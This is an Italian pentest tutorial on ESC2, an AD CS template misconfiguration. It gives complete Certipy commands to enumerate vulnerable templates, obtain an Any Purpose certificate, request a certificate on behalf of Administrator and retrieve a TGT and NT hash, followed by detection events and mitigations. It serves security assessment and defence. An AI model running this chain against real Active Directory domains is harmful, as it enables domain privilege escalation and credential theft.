ESC2 AD CS: Any Purpose EKU, Enrollment Agent e Certipy

ESC2 in Active Directory Certificate Services: privilege escalation Windows con template Any Purpose EKU, exploit con Certipy e mitigazioni per AD CS sicura.
- Pubblicato il 2026-03-06
- Tempo di lettura: 7 min
ESC2 in Active Directory Certificate Services: template Any Purpose e abuso come Enrollment Agent #
ESC2 è una misconfigurazione di Active Directory Certificate Services (AD CS) in cui un certificate template concede un EKU troppo ampio: Any Purpose oppure nessun EKU definito (template configurato come Subordinate CA). Un certificato con queste caratteristiche può essere usato per praticamente qualsiasi scopo — incluso, in certe condizioni, come certificato Enrollment Agent per richiedere certificati a nome di altri utenti.
Questo è il punto che la bozza originale di questo articolo semplificava troppo: Any Purpose non è l’EKU Certificate Request Agent, e il fatto che un certificato possa fare da agente non è automatico — dipende dalla versione del template target (V1 o V2+) e da come è configurata la CA.
Glossario rapido #
| Termine | Significato in una riga |
|---|---|
| AD CS | Il servizio di Active Directory che emette certificati digitali. |
| EKU (Extended Key Usage) | Estensione che dichiara a cosa può servire un certificato. |
| Any Purpose EKU | OID 2.5.29.37.0: dichiara che il certificato è valido per qualunque scopo, senza restrizioni. |
| Certificate Request Agent / Enrollment Agent | EKU (OID 1.3.6.1.4.1.311.20.2.1) che permette di richiedere certificati per conto di un altro utente. |
| Schema Version (template V1/V2+) | La “versione” di un template: i V1 (es. i built-in User, Machine) sono i più permissivi e non hanno i controlli granulari dei V2+. |
| Required Application Policies | Vincolo disponibile solo sui template V2+: impone che il certificato dell’agente contenga una EKU/Application Policy specifica per poter firmare richieste on-behalf-of. |
| Authorized Signatures Required | Numero di firme (certificati agente) richieste per approvare una richiesta — se 0, basta un singolo certificato agente. |
| on-behalf-of | Flag di Certipy che, usando un certificato agente, richiede un certificato a nome di un altro account. |
| PKINIT | Il meccanismo che usa Kerberos per autenticarti con un certificato invece che con una password. |
Per i concetti base: Certipy: guida completa, EKU OID in AD CS: guida per il pentest.
Any Purpose non è Certificate Request Agent — ma può comportarsi come tale #
I due OID identificano scopi distinti:
- Any Purpose:
2.5.29.37.0 - Certificate Request Agent:
1.3.6.1.4.1.311.20.2.1
Un certificato con EKU Any Purpose non contiene letteralmente l’OID Certificate Request Agent nella propria estensione. Quello che succede è diverso: siccome Any Purpose dichiara che il certificato è valido per qualunque scopo, Windows lo accetta anche nei contesti dove normalmente si richiederebbe specificamente l’EKU Certificate Request Agent — inclusa la firma di richieste on-behalf-of.
Ma questa equivalenza non vale sempre nello stesso modo:
| Certificato ottenuto | Cosa puoi concludere |
|---|---|
| EKU Any Purpose | Scopo ampio; può comportarsi da agente in determinati scenari ESC2, non in tutti. |
| Nessun EKU (Subordinate CA) | Nessuna restrizione EKU esplicita — ma verifica anche Basic Constraints e Key Usage, perché un certificato così può anche essere un certificato di CA subordinata. |
| EKU Certificate Request Agent esplicita | Il certificato è pensato esplicitamente per l’on-behalf-of (questo è ESC3, tecnicamente distinto da ESC2 anche se lo sfruttamento finale è identico). |
| Any Purpose contro un target V2+ | Non dare per scontato che basti — verifica le Required Application Policies del template target. |
La distinzione che decide se l’attacco funziona: template target V1 o V2+ #
Questo è il prerequisito più sottovalutato nella bozza originale. Un certificato Any Purpose (o senza EKU) può essere usato come agente senza ulteriori requisiti solo contro template target Schema Version 1 — i template V1 (incluso il built-in User) non hanno il concetto di “firme autorizzate” né di Required Application Policies.
Contro un template target V2 o successivo, invece, serve che il certificato dell’agente soddisfi la specifica Required Application Policy impostata su quel template — e un certificato Any Purpose generico non la soddisfa automaticamente, a meno che Any Purpose non sia esplicitamente ammessa in quella policy.
| Verifica | Target V1 | Target V2+ |
|---|---|---|
| Certificato Any Purpose / senza EKU come agente | Generalmente accettato | Non presumerlo: verifica la Required Application Policy |
| Certificate Request Agent EKU esplicita | Funziona comunque | Verifica comunque la policy richiesta |
| Authorized Signatures Required | Il concetto non esiste sui template V1 | Se >0, serve più di un singolo certificato agente |
| Manager approval | Verifica comunque il processo di emissione | Verifica comunque il processo di emissione |
Quando esiste una vulnerabilità ESC2 #
Condizioni necessarie sul template sorgente:
- La CA Enterprise concede diritti di enrollment all’identità dell’attaccante.
- Il template concede diritti di enrollment alla stessa identità (spesso
Domain UsersoAuthenticated Users). - Manager approval disabilitato.
- Authorized signature disabilitato (0 firme richieste).
- Il template ha EKU
Any Purposeoppure nessuna EKU (Subordinate CA).
A questo va aggiunto, separatamente, un template target idoneo (vedi tabella sopra) e le eventuali Enrollment Agent Restrictions configurate sulla CA, che possono limitare quali account/template sono autorizzati a usare la delega di enrollment indipendentemente da cosa dice il singolo template.
Identificazione con Certipy #
certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdoutOutput tipico sul template sorgente:
Template Name : AnyPurposeCert
Any Purpose : True
[!] Vulnerabilities
ESC2 : Template can be used for any purpose
ESC3 : Template has Certificate Request Agent EKU setE sul possibile template target:
Template Name : User
Schema Version : 1
Client Authentication : True
Remarks
ESC2 Target Template
ESC3 Target TemplateCome interpretare questi campi (la bozza originale li trattava come prova sufficiente — non lo sono):
| Campo | Interpretazione corretta |
|---|---|
Any Purpose: True | Il template ha questa capacità identificata da Certipy; non dice ancora se la catena completa è sfruttabile. |
ESC2/ESC3 sullo stesso template | Non è un errore di Certipy: Any Purpose rende il template rilevante per entrambe le categorie. |
ESC2 Target Template / ESC3 Target Template | Indica un candidato, non una conferma che tutte le altre condizioni (permessi, restrizioni della CA, versione) siano soddisfatte. |
Enabled: True | Il template è disponibile sulla CA — non dimostra da solo che il tuo account possa richiederlo. |
Exploitation #
Step 1 — Ottenere il certificato Any Purpose
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
-template AnyPurposeCertSuccessfully requested certificate
Saving certificate to attacker.pfxStep 2 — Richiedere un certificato per Administrator usando il certificato come agente
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target CA.CORP.LOCAL -ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of 'CORP\Administrator'Nota la correzione rispetto alla bozza originale: 'CORP\Administrator' va tra apici singoli. In Bash, senza quoting, il backslash può essere interpretato o rimosso durante il parsing del comando — con gli apici singoli la stringa arriva intatta a Certipy.
Successfully requested certificate
Saving certificate to administrator.pfxStep 3 — Autenticazione
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100Got TGT
Got NT hash for 'administrator'Cosa conferma davvero ogni output — non dare nulla per garantito #
| Risultato | Cosa confirma | Cosa NON confirma |
|---|---|---|
Successfully requested certificate (Step 1) | La CA ha emesso il certificato Any Purpose | Che funzioni come agente contro il target scelto |
Successfully requested certificate (Step 2) | La richiesta on-behalf-of è stata accettata | Che il KDC accetterà poi il certificato per l’autenticazione |
Got TGT | L’autenticazione Kerberos è riuscita | Che l’hash NT sia stato recuperato |
Got NT hash | È stato recuperato quello specifico hash | Che tu abbia accesso a ogni risorsa del dominio |
Un “Domain Admin” a fine catena richiede che l’account impersonato sia davvero privilegiato e che l’autenticazione vada a buon fine end-to-end — non è un risultato automatico della sola esistenza di ESC2.
Troubleshooting #
| Sintomo | Cosa verificare |
|---|---|
| Certipy non segnala ESC2 sul template che ti aspetti | Credenziali, DC specificato, visibilità del template — non tutti i template sono enumerabili da ogni account |
| Il template esiste ma la richiesta Step 1 fallisce | Diritto Enroll effettivo, eventuale Manager Approval attivo, pubblicazione del template sulla CA target |
| Step 1 riesce ma Step 2 (on-behalf-of) viene rifiutato | Il template target è V2+ e richiede una Required Application Policy che il tuo certificato Any Purpose non soddisfa; oppure la CA ha Enrollment Agent Restrictions che escludono il tuo account/template |
| Errore legato alle “firme autorizzate” | Authorized Signatures Required > 0 sul template target V2+: un singolo certificato agente non basta, serve co-firma da più agenti |
Certificato emesso ma certipy auth rifiuta l’autenticazione | Catena di fiducia NTAuth, configurazione PKINIT del DC, o problemi di certificate mapping indipendenti da ESC2 — vedi ESC9/ESC10/ESC16 se il rifiuto riguarda il mapping del certificato, non l’emissione |
| TGT ottenuto ma non riesci ad accedere alla risorsa desiderata | Verifica i gruppi e i permessi effettivi dell’account impersonato su quella specifica risorsa — non è un problema di ESC2 |
Detection #
Vale la pena separare tre livelli, spesso confusi in una sola sezione “Detection”:
1. Identificazione della misconfigurazione (assessment, non detection di un abuso):
certipy find -u 'attacker@corp.local' -p 'Passw0rd!' -dc-ip 10.0.0.100 -vulnerable -stdout2. Monitoraggio dell’abuso effettivo, sulla CA:
| Evento | Significato |
|---|---|
| 4886 | Richiesta di certificato ricevuta — correlala con template, richiedente e, se presente, il parametro on-behalf-of |
| 4887 | Certificato approvato ed emesso |
| 4888 | Richiesta negata — utile per capire se qualcuno ha già tentato e fallito |
Questi eventi richiedono che l’auditing sia abilitato sia sul filtro della CA sia tramite Advanced Audit Policy del sistema operativo: configurare solo uno dei due non basta.
3. Verifica dell’impatto: quali certificati emessi tramite on-behalf-of hanno effettivamente portato a un’autenticazione riuscita, e con quali privilegi — questo richiede di correlare i log della CA con gli eventi di autenticazione sul DC, non è qualcosa che certipy find da solo può dirti.
Mitigation #
- Evitare EKU Any Purpose o vuote sui template, specialmente quelli con enrollment aperto a
Domain Users/Authenticated Users. - Limitare l’enrollment sui template che possono comportarsi da agente — non concederlo a gruppi ampi.
- Abilitare Manager Approval dove il processo di business lo consente.
- Configurare le Enrollment Agent Restrictions sulla CA, per limitare esplicitamente quali account/template possono usare la delega di enrollment, indipendentemente dalla configurazione del singolo template.
- Sui template target V2+, impostare Required Application Policies e Authorized Signatures Required per impedire che un certificato Any Purpose generico basti da solo.
Una correzione rispetto alla bozza originale: non è possibile eliminare i template V1 predefiniti come User o Machine — sono installati di default e Microsoft non lo consente, oltre ad avere opzioni di configurazione limitate rispetto ai V2+. La mitigazione realistica è: non pubblicare sulla CA i template V1 non necessari, e dove serve mantenere funzionalità equivalente, usare template V2+ con i vincoli sopra descritti. Cambiare la configurazione della CA, inoltre, non modifica né revoca i certificati già emessi in precedenza con la configurazione vulnerabile.
FAQ #
Cos’è ESC2?
Un template AD CS con EKU Any Purpose o senza EKU, che permette di ottenere un certificato utilizzabile — in determinati scenari — come certificato Enrollment Agent per richiedere certificati a nome di altri utenti.
ESC2 è la stessa cosa di ESC3? No, ma si sovrappongono. ESC2 riguarda template con EKU Any Purpose/vuota; ESC3 riguarda template con l’EKU Certificate Request Agent esplicita. Un certificato Any Purpose può comportarsi come agente negli stessi scenari di ESC3, ma i due OID restano distinti.
Quando un certificato Any Purpose è davvero utilizzabile come enrollment agent? Sempre contro template target Schema Version 1 (se gli altri prerequisiti sono soddisfatti). Contro template V2+, solo se la Required Application Policy del target lo consente esplicitamente.
ESC2 porta sempre a Domain Admin? Può, quando esiste una catena completa — template sorgente abusabile, template target idoneo, nessuna restrizione bloccante sulla CA, e autenticazione riuscita contro un account effettivamente privilegiato — ma non è un risultato garantito dalla sola presenza della misconfigurazione.
Perché Certipy segnala un template target ma il test non riesce?
Perché l’indicatore ESC2/ESC3 Target Template segnala un candidato, non una conferma: verifica permessi effettivi, Enrollment Agent Restrictions della CA e, sui target V2+, le Required Application Policies.
Guida completa a tutte le tecniche ESC1–ESC16: AD CS Privilege Escalation con Certipy.
Fonti tecniche: Certipy — Privilege Escalation Wiki, SpecterOps — Certificates and Pwnage and Patches, Oh My!.








